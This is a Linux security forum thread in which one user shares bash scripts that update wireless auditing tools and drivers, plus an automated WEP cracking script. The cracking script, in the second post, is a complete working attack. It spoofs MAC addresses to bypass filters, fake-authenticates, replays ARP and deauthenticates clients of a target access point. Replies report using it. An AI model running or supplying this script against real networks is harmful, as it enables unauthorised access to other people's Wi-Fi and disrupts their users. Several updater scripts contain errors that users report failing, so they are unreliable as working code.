Page 1 of 3 123 LastLast
Results 1 to 10 of 28

Thread: Some scripts to make life easier

  1. #1
    Junior Member
    Join Date
    Jan 2006
    Posts
    34

    Default Some scripts to make life easier

    Bored and lazy as I am I wrote up a couple of scripts that are quite handy.

    They all work for me - tested on bt2 sidc edition. But it should basically work on every v.

    Just copy paste it into a file.
    Run it with sh <script> or chmod 111 it and run it like ./this.

    A script that'll update the aircrack-ng suite to the latest svn snapshot.
    Quote Originally Posted by Aircrack-ng svn update
    #!/bin/bash

    #################################################
    ## AUTOMATIC AIRCRACK-NG UPDATER
    #################################################
    cd
    LOG="/root/.log"
    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi
    cd
    LATEST_VERSION=`lynx --dump http://trac.aircrack-ng.org/svn/trunk/ | head -n1 | cut -d':' -f1 | cut -d' ' -f2`
    CURRENT_VERSION=`aircrack-ng | head -n2 | tail -n1 | cut -d' ' -f5 | cut -d'r' -f2`
    echo -e -n "Current revision: $CURRENT_VERSION <!> Latest revision: $LATEST_VERSION\n"
    echo -e -n " > Advance [y/n]? "
    while true
    do
    read ans
    case $ans in
    Y|y|[Yy][Ee][Ss])
    break ;;
    N|n|[Nn][Oo])
    echo "Aborting.";
    exit ;;
    *)
    echo -n "Invalid command." ;;
    esac
    done
    echo "Downloading Files"
    echo " > " `svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng | grep revision`
    cd aircrack-ng
    echo "Configuring"
    make > $LOG/aircrack 2>> $LOG/aircrack
    echo "Installing files."
    make install >> $LOG/aircrack 2>> $LOG/aircrack
    cd ..
    echo "Removing folder.."
    rm -R aircrack-ng
    echo "Printing version..."
    echo " > " `aircrack-ng | grep "Air" | cut -d" " -f3,4,5`
    echo " > " `airdecap-ng | grep "Air" | cut -d" " -f3,4,5`
    echo " > " `airodump-ng | grep "Air" | cut -d" " -f3,4,5`
    echo " > " `aireplay-ng | grep "Air" | cut -d" " -f3,4,5`
    echo " > " `airtun-ng | grep "Air" | cut -d" " -f3,4,5`
    echo " > " `ivstools | grep "ivsTools" | cut -d" " -f3,4,5`
    echo "Done"
    A script that'll update the kismet to the latest svn snapshot.
    Quote Originally Posted by Kismet svn update
    #!/bin/bash

    #################################################
    ## AUTOMATIC KISMET UPDATER
    #################################################
    LOG="/root/.log"
    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi
    cd
    LATEST_VERSION=`lynx --dump http://svn.kismetwireless.net/code/trunk | head -n1 | cut -d':' -f1 | cut -d' ' -f2`
    CURRENT_VERSION=`cat $LOG/kismet_version`
    echo -e -n "Current revision: $CURRENT_VERSION <!> Latest revision: $LATEST_VERSION\n"
    echo -e -n " > Advance [y/n]? "
    while true
    do
    read ans
    case $ans in
    Y|y|[Yy][Ee][Ss])
    break ;;
    N|n|[Nn][Oo])
    echo "Aborting.";
    exit ;;
    *)
    echo -n "Invalid command." ;;
    esac
    done
    echo "Downloading Files"
    echo " > " `svn co http://svn.kismetwireless.net/code/trunk kismet-devel | grep " revision "`
    cd kismet-devel/
    echo "Configuring"
    configure --disable-setuid > $LOG/kismet 2>> $LOG/kismet
    make dep >> $LOG/kismet 2>> $LOG/kismet
    make >> $LOG/kismet 2>> $LOG/kismet
    echo "Installing files."
    make install >> $LOG/kismet 2>> $LOG/kismet
    cd ..
    echo $LATEST_VERSION > $LOG/kismet_version
    echo "Kismet folder will be deleted in 10 seconds - Press Ctrl C to abort"
    sleep 10
    echo "Removing folder.."
    rm -R kismet-devel
    echo "Done"
    A script that'll update the madwifi-ng drivers for atheros chipset to the latest svn snapshot.
    Quote Originally Posted by Madwifi-ng svn update
    #!/bin/bash

    #################################################
    ## AUTOMATIC MADWIFI DRIVERS UPDATER
    #################################################
    LOG="/root/.log"
    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi
    cd
    LATEST_VERSION=`lynx --dump http://svn.madwifi.org/trunk/ | head -n1 | cut -d':' -f1 | cut -d' ' -f2`
    CURRENT_VERSION=`cat $LOG/madwifi_version`
    echo -e -n "Current revision: $CURRENT_VERSION <!> Latest revision: $LATEST_VERSION\n"
    echo -e -n " > Advance [y/n]? "
    while true
    do
    read ans
    case $ans in
    Y|y|[Yy][Ee][Ss])
    break ;;
    N|n|[Nn][Oo])
    echo "Aborting.";
    exit ;;
    *)
    echo -n "Invalid command." ;;
    esac
    done
    echo "Downloading Files"
    echo " > " `svn checkout http://svn.madwifi.org/trunk/ madwifi-ng | grep " revision "`
    echo "Downloading patch."
    wget http://patches.aircrack-ng.org/madwifi-ng-r1886.patch >> $LOG/madwifi 2>> $LOG/madwifi
    echo "Turning down devices"
    ifconfig ath0 down > $LOG/madwifi 2>> $LOG/madwifi
    ifconfig wifi0 down >> $LOG/madwifi 2>> $LOG/madwifi
    echo "Removing modules"
    rmmod wlan_wep ath_rate_sample ath_rate_onoe ath_pci wlan ath_hal ath_rate_amrr 2>/dev/null
    cd madwifi-ng/scripts/
    ./madwifi-unload.bash >> $LOG/madwifi 2>> $LOG/madwifi
    ./find-madwifi-modules.sh /lib/modules/ >> $LOG/madwifi 2>> $LOG/madwifi
    cd ..
    echo "Patching..."
    mv ../madwifi-ng-r1886.patch .
    chmod 111 madwifi-ng-r1886.patch
    patch -Np1 -i madwifi-ng-r1886.patch >> $LOG/madwifi 2>> $LOG/madwifi
    echo "Configuring."
    make >> $LOG/madwifi 2>> $LOG/madwifi
    echo "Installing files."
    make install
    cd ..
    echo $LATEST_VERSION > $LOG/madwifi_version
    echo "Loading driver."
    depmod -ae
    modprobe ath_pci
    echo "Version:" `dmesg | grep ath_pci | cut -f2 -d' '`
    echo "Madwifi-ng folder will be deleted in 10 seconds - Press Ctrl C to abort"
    sleep 10
    echo "Removing folder.."
    rm -R madwifi-ng
    echo "Done"
    A script that'll update the ipw2200 drivers.
    Quote Originally Posted by ipw2200 update
    #!/bin/bash

    #################################################
    ## AUTOMATIC INTEL PRO WIRELESS DRIVERS UPDATER
    #################################################

    case "$#" in
    0)
    echo "Intel Pro Wireless 2200B/G Pro updater script"
    echo ""
    echo "Usage: [drivers.tar] [firmware.tar]"
    echo ""
    echo "First download latest drivers and firmware at:"
    echo "http://ipw2200.sourceforge.net/#downloads"
    echo "http://ipw2200.sourceforge.net/firmware.php"
    echo ""
    echo "Latest:"
    echo "------"
    lynx --dump http://ipw2200.sourceforge.net/downloads.php | grep download | grep ipw2200 | head -n1 | cut -d'h' -f2
    lynx --dump http://ipw2200.sourceforge.net/firmware.php | grep firmware | grep http | tail -n1 | cut -d'h' -f2
    exit 1
    ;;
    *)
    DRIVERS="$1"
    FIRMWARE="$2"
    ;;
    esac

    LOG="/root/.log"
    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi

    echo "Turning down device"
    ifconfig eth1 down

    echo "Unpacking drivers."
    tar xvzf $DRIVERS > $LOG/ipw 2>> $LOG/ipw
    echo "Removing drivers folder."
    DIR=`tar xvzf $DRIVERS | head -n1`
    cd $DIR
    echo "Configuring"
    make >> $LOG/ipw 2>> $LOG/ipw
    echo "Installing files."
    make install >> $LOG/ipw 2>> $LOG/ipw/ipw
    cd ..
    echo "Removing drivers folder."
    rm -R $DIR

    echo "Unpacking firmware."
    tar xvzf $FIRMWARE >> $LOG/ipw 2>> $LOG/ipw
    DIR=`tar xvzf $FIRMWARE | head -n1`
    cd $DIR
    echo "Copying firmware."
    mv * /lib/firmware/
    cd ..
    echo "Removing firmware folder."
    rm -R $DIR

    echo "Loading driver."
    depmod -ae
    modprobe ipw2200
    ifconfig eth1 up
    echo "Version:" `dmesg | grep "Network Driver" | cut -d' ' -f7`
    echo "You can now remove the packages."
    echo "Done"
    A script that'll update firefox (kind of experimental but works). Ripped the most of it from another script.
    Quote Originally Posted by firefox updater
    #!/bin/bash

    #################################################
    ## AUTOMATIC FIREFOX UPDATER
    #################################################
    PLUGINPATH=/usr/lib/firefox/plugins
    VERSION=`wget -q -O - http://www.mozilla.com |grep "product=" -m 1 |sed -e 's/.*<li>.*firefox-//' -e 's/&amp.*//'`
    LOG="/root/.log"
    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi

    echo -e -n "Most recent firefox : $VERSION. Advance [y/n]? "
    while true
    do
    read ans
    case $ans in
    Y|y|[Yy][Ee][Ss])
    break ;;
    N|n|[Nn][Oo])
    echo "Aborting.";
    exit ;;
    *)
    echo -n "Invalid command." ;;
    esac
    done

    ## Download and install firefox.
    if [ -d ~/.mozilla ]; then
    echo -e "\nBacking up old Firefox preferences.\n"
    cp -R ~/.mozilla ~/.mozilla_backup_`date -Iseconds` > $LOG/firefox 2>> $LOG/firefox
    else
    echo -e "\nOld firefox preferences not found. Nothing to back up. Proceeding with installation.\n"
    fi

    cd
    echo -e "\nDownloading Firefox archive from the Mozilla site\n"
    wget -c http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/$VERSION/linux-i686/en-US/firefox-$VERSION.tar.gz >> $LOG/firefox 2>> $LOG/firefox

    echo -e "\nExtracting the downloaded Firefox archive\n"
    tar -C /opt -xzf firefox-$VERSION.tar.gz >> $LOG/firefox 2>> $LOG/firefox

    rm -f firefox-$VERSION.tar.gz

    echo -e "\nLinking plugins\n"
    mv /opt/firefox/plugins /opt/firefox/plugins_`date -Iseconds`
    ln -s -f $PLUGINPATH /opt/firefox/plugins

    echo -e "\nVersion: $VERSION"
    echo "Done"

  2. #2
    Junior Member
    Join Date
    Jan 2006
    Posts
    34

    Default

    A short script that'll put your atheros card in monitor mode (got bored of always typing it).
    Quote Originally Posted by Monitor mode
    wlanconfig ath0 destroy
    wlanconfig ath0 create wlandev wifi0 wlanmode monitor
    iwconfig ath0
    And a wepcracking script (yes also got tired of doing it manually). Based upon thegreatvirus script.
    Quote Originally Posted by Wepcrackscript
    #!/bin/bash

    #################################################
    ## AUTOMATIC WEP CRACKER
    #################################################

    #################################################
    ## BASE SETTINGS

    DIR="/root/.wepcrack"
    LOG="/root/.log"

    #################################################
    ## SETTINGS SCRIPTS

    case "$#" in
    0)
    echo "Automatic WEP Cracking Script"
    echo ""
    echo "Usage: [wireless_device] [attack_type] [channel] [ap_essid] [ap_mac] [client_mac]"
    echo ""
    echo "Attack Types:"
    echo " 1 - Normal AP/Client"
    echo " 2 - Fake Association with random MAC"
    echo " 3 - Fake Association with given MAC (bypass MAC filter)"
    echo ""
    echo "Examples:"
    echo "Attack Type 1: wepcrack ath0 1 11 default 00:01:02:03:04:05 00:01:02:03:04:05"
    echo "Attack type 2: wepcrack ath0 2 11 default 00:01:02:03:04:05 none"
    echo "Attack type 3: wepcrack ath0 3 11 "Essid\ WithSpace" 00:01:02:03:04:05 00:11:22:33:44:55"
    echo ""
    exit 1
    ;;
    *)
    DEVICE="$1"
    ATTACK="$2"
    CHANNEL="$3"
    ESSID="$4"
    AP_MAC="$5"
    CLIENT_MAC="$6"

    clear
    echo -e "Device: $DEVICE\nAttack Type: $ATTACK\nESSID: $ESSID on Channel: $CHANNEL with AP MAC: $AP_MAC\nClient MAC: $CLIENT_MAC\n"
    echo -e "The script will use the following commands:"
    echo -e "> Dump IVS : airodump-ng $DEVICE --bssid $AP_MAC --write WEPData --channel $CHANNEL"
    if [ $ATTACK != "1" ]; then
    echo -e "> FakeAuth AP : aireplay-ng $DEVICE --fakeauth 6000 -e $ESSID -a $AP_MAC -h $CLIENT_MAC -o 1 -q 1"
    fi
    echo -e "> ARP Replay : aireplay-ng $DEVICE --arpreplay -b $AP_MAC -h $CLIENT_MAC"
    if [ $ATTACK = "1" ]; then
    echo -e "> DeAuth Client : aireplay-ng $DEVICE --deauth 5 -a $AP_MAC -c $CLIENT_MAC"
    fi
    echo -e "> Crack packets : aircrack-ng -0 -s -a 1 -b $AP_MAC $DIR/WEPData.cap"
    echo -e "\n~*~ Attack will begin in 5 seconds with this information - Press Ctrl C to abort ~*~\n"
    sleep 5

    ;;
    esac

    #################################################
    ## SETUP ENVIORMENT & ESTABLISH ATTACK TYPE

    if [ ! -d $LOG ]; then ## If directory doesn't exist, make it
    mkdir $LOG
    fi
    if [ ! -d $DIR ]; then ## If directory doesn't exist, make it
    mkdir $DIR
    fi
    cd $DIR
    rm $DIR/* 2> $LOG/wepcrack > $LOG/wepcrack &

    echo "[*] Automated WEP Crack Started..."
    if [ "$ATTACK" = "1" ]; then ## Attack with connected client
    echo " [+] Using AP/Client Attack"
    else
    echo " [+] Using Fake Association Attack"
    fi
    if [ "$ATTACK" = "2" ]; then ## Attack (fakeauth) with random generated MAC
    echo "[*] Generating Client MAC Address..."
    CLIENT_MAC="$(od -An -t x1 -N 5 /dev/urandom | sed 's/^/00/;s/ /:/g;q')"
    echo " [+] Client MAC: $CLIENT_MAC"
    fi

    ifconfig wifi0 down
    ifconfig $DEVICE
    wlanconfig $DEVICE destroy
    wlanconfig $DEVICE create wlandev wifi0 wlanmode monitor 2> $LOG/wepcrack > $LOG/wepcrack
    macchanger --mac=$CLIENT_MAC $DEVICE 2> $LOG/wepcrack > $LOG/wepcrack
    iwconfig $DEVICE channel $CHANNEL
    ifconfig $DEVICE up

    echo " [+] $DEVICE ($CLIENT_MAC) Created! Interface Channel Locked to $CHANNEL"

    echo "[*] Starting Attack..."
    xterm -fn fixed -geom 104x28+0+0 -title "Airodump-ng Dumping Packets" -e "airodump-ng $DEVICE --bssid $AP_MAC --write WEPData --channel $CHANNEL" 2> $LOG/wepcrack > $LOG/wepcrack &
    echo " [+] Airodump-ng Started!"

    if [ "$ATTACK" != "1" ]; then ## Fakeauth with MAC
    echo "#!/bin/sh" > /tmp/fakeclient
    echo "FakeAuth () {" >> /tmp/fakeclient
    echo "echo -e 'Attempting to FakeAuth with target AP\n-------------------------------------'" >> /tmp/fakeclient
    echo "echo -e 'Using $DEVICE ($CLIENT_MAC) to auth with $ESSID ($AP_MAC)\n'" >> /tmp/fakeclient
    echo "aireplay-ng $DEVICE --fakeauth 6000 -e $ESSID -a $AP_MAC -h $CLIENT_MAC -o 1 -q 1" >> /tmp/fakeclient
    echo "echo -e '\nAttack not succesfull - retrying in 2 seconds'" >> /tmp/fakeclient
    echo "sleep 2" >> /tmp/fakeclient
    echo "clear" >> /tmp/fakeclient
    echo "FakeAuth" >> /tmp/fakeclient
    echo "}" >> /tmp/fakeclient
    echo "FakeAuth" >> /tmp/fakeclient
    chmod 111 /tmp/fakeclient
    xterm -fn fixed -geom 104x27+0-0 -title "Aireplay-ng Fake Authentication Attack" -e "/tmp/fakeclient" 2> $LOG/wepcrack > $LOG/wepcrack & ## Launch FakeAuth window!
    echo " [+] Fake Association Started!"
    sleep 5
    fi

    echo "echo -e '$DEVICE will replay ARP requests coming from $AP_MAC to $CLIENT_MAC. This can take a while.\n'" > /tmp/arpreplay
    echo "aireplay-ng $DEVICE --arpreplay -b $AP_MAC -h $CLIENT_MAC" >> /tmp/arpreplay
    chmod 111 /tmp/arpreplay
    xterm -fn fixed -geom 105x28-0+0 -title "Aireplay-ng ARP Replay" -e "/tmp/arpreplay" 2> $LOG/wepcrack > $LOG/wepcrack & ## Launch ARPReplay window
    echo " [+] ARP Replay Started!"
    sleep 60 ## Waiting a minute...

    if [ "$ATTACK" = "1" ]; then ## Only when there is a real client connected - you cannot DeAuth your own faked client
    echo "#!/bin/sh" > /tmp/deauth
    echo "DeAuth () {" >> /tmp/deauth
    echo "echo -e 'Attempting to Deauthenticate target\n-----------------------------------'" >> /tmp/deauth
    echo "echo -e '$DEVICE will inject 5 packages to DeAuth $CLIENT_MAC from the AP ($AP_MAC)\n'" >> /tmp/deauth
    echo "aireplay-ng $DEVICE --deauth 5 -a $AP_MAC -c $CLIENT_MAC " >> /tmp/deauth
    echo "echo -e '\nTaking a 30 second break'" >> /tmp/deauth
    echo "sleep 30" >> /tmp/deauth
    echo "clear" >> /tmp/deauth
    echo "DeAuth" >> /tmp/deauth
    echo "}" >> /tmp/deauth
    echo "DeAuth" >> /tmp/deauth
    chmod 111 /tmp/deauth
    xterm -fn fixed -geom 104x27+0-0 -title "Aireplay-ng DeAuthentication Attack" -e "/tmp/deauth" 2> $LOG/wepcrack > $LOG/wepcrack & ## Launch Deauth window!
    echo " [+] Aireplay-ng DeAuth Started!"
    fi

    sleep 25 ## Waiting 25 seconds...
    echo "[*] Launching Aircrack-ng within 30 Minutes..."
    sleep 1800 ## Waiting 30 minutes...
    xterm -fn fixed -geom 105x27-0-0 -title "Aircrack-ng - Extracting Key" -e "aircrack-ng -0 -s -a 1 $DIR/WEPData.cap" 2> $LOG/wepcrack > $LOG/wepcrack & ## Start the cracking process!
    echo " [+] Aircrack-ng Started!"
    echo "[*] Done!"
    exit 1

    Don't kill me for double-posting. Couldn't fit it in one post..

  3. #3
    Zi0n_
    Guest

    Default

    to anyone who uses these, please don't blame BT official support if something goes wrong.
    /me wouldn't use any of this

  4. #4
    Junior Member
    Join Date
    Jan 2006
    Posts
    34

    Default

    Quote Originally Posted by Zi0n_
    /me wouldn't use any of this
    Why not? Just bundled some commands you always use when upgrading something.
    's not as if it's malicious..

  5. #5
    Zi0n_
    Guest

    Default

    even if they work, they limit my flexibility.

  6. #6
    Senior Member lund99's Avatar
    Join Date
    Feb 2010
    Posts
    142

    Default

    the aircrack script did not work on bt2 (not sidc) neither did firefox, here is the output from the aircrack script :

    Code:
    Current revision: - <!> Latest revision: 138
     > Advance [y/n]? y
    Downloading Files
    svn: Unrecognized URL scheme for 'http://trac.aircrack-ng.org/svn/trunk'
     >
    aircrackscript: line 32: cd: aircrack-ng: No such file or directory
    Configuring
    Installing files.
    Removing folder..
    rm: cannot remove `aircrack-ng': No such file or directory
    Printing version...
     >  Aircrack-ng 0.6.2 -
     >  Airdecap-ng 0.6.2 -
     >  Airodump-ng 0.6.2 -
     >  Aireplay-ng 0.6.2 -
    aircrackscript: line 45: airtun-ng: command not found
     >
     >  ivsTools 0.6.2 -
    Done
    and here is the output from the firefox script :

    Code:
    E-mail bug reports to: bonzini@gnu.org .
    Be sure to include the word ``sed'' somewhere in the ``Subject:'' field.
    fire: line 9: s/.*<li>.*firefox-//: No such file or directory
    Most recent firefox : . Advance [y/n]? y
    
    Backing up old Firefox preferences.
    
    
    Downloading Firefox archive from the Mozilla site
    
    wget: missing URL
    Usage: wget [OPTION]... [URL]...
    
    Try `wget --help' for more options.
    fire: line 41: http://ftp.mozilla.org/pub/mozilla.org/firefox/releases//linux-i686/en-US/firefox-.tar.gz: No such file or directory
    
    Extracting the downloaded Firefox archive
    
    
    Linking plugins
    
    
    Version:
    Done

  7. #7
    Just burned his ISO
    Join Date
    Jun 2007
    Posts
    7

    Default network card config script

    i've made a script that will automatically set your network card to eth0 :


    echo this will set your networkcard in eth0 mode
    ifconfig -a
    ifconfig eth0
    ifconfig eth0 up
    dhcpcd eth0
    echo card set
    exit

    ofcourse you can change eth0 into another card but i always use eth0 so ...

    excuse me for my english

  8. #8
    g4hsean
    Guest

    Default

    great scripts.... i never thought of making any :P My hero..... all of them worked like a charm :P

  9. #9
    Just burned his ISO
    Join Date
    Aug 2007
    Posts
    5

    Default

    thanks n3Cre0!! I learned a whole bunch from your scripts, the auto crack was great, I edited it a bit to fully automate withjust a fake auth injection and it worked dandily!

    Glytch

  10. #10
    Junior Member
    Join Date
    Aug 2007
    Posts
    27

    Default

    Maybe someone could update that to use with the PTW cracking method

Page 1 of 3 123 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •